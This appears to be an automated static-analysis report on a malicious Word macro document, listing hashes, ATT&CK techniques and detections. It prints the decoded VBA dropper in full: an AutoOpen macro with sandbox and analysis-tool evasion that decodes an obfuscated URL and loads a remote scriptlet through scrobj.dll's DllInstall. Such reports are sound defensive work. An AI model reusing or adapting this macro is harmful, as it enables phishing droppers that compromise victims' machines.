Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 36717fd3984064e8…

MALICIOUS

Office (OLE)

47.5 KB Created: 2018-06-26 20:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 9938ebdbe80a7af5223d982560363261 SHA-1: b2b865e36cb7ac653078227232dc3e8ee98675de SHA-256: 36717fd3984064e82b3a69fc376ff030562e1c007e9e6192baa21dbb5a1a4dbb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for malware execution. The macro attempts to bypass security by checking for analysis tools and then attempts to download a payload from a obfuscated URL. The document body itself is a lure, presenting a fake security policy to encourage macro enablement.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6595860-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6595860-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1928 bytes
SHA-256: 9418da5494d06495051e7025fb836addb0c983da744f9a4cc228232867db643d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If Win64 Then
    Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
#Else
    Declare Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
#End If

Sub AutoOpen()
For i = ActiveDocument.Shapes.Count To 1 Step -1
ActiveDocument.Shapes(i).Delete
Next i
Styling
End Sub
Function Styling()

If ActiveDocument.Name <> "SecureMessagingPolicy.doc" Then
    Exit Function
End If

bT = False
'btn = Array("vbox", "vmware", "wireshark", "process explorer", "fiddler")
btn = Array("wireshark", "process explorer", "fiddler")
For Each T In Application.Tasks
    For Each n In btn
        If InStr(LCase(T.Name), n) > 0 Then
            bT = True
        End If
    Next
Next

If bT Then
    Exit Function
End If

bun = False
bu = Array("admin", "sandbox", "test")

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
For Each objI In colItems
    For Each bn In bu
        If InStr(LCase(objI.UserName), bn) > 0 Then
            bun = True
        End If
    Next
Next

If bun Then
    Exit Function
End If

If Application.RecentFiles.Count < 3 Then
    Exit Function
End If

Color

End Function

Function Color()

Dim yhml, lmhy

yhml = "Zh$t$tpZ$s:Z$/Z/ZwZ$w$ZZw.s$eZZc$ure$meZZs$sag$iZng$.co$Z/ZZZwe$bsa$fe/ZZim$age$s$/lZ$og$$o.Zp$ng$$$"
lmhy = Replace(yhml, "$", "")
lmhy2 = Replace(lmhy, "Z", "")
DllInstall False, ByVal StrPtr(lmhy2)

End Function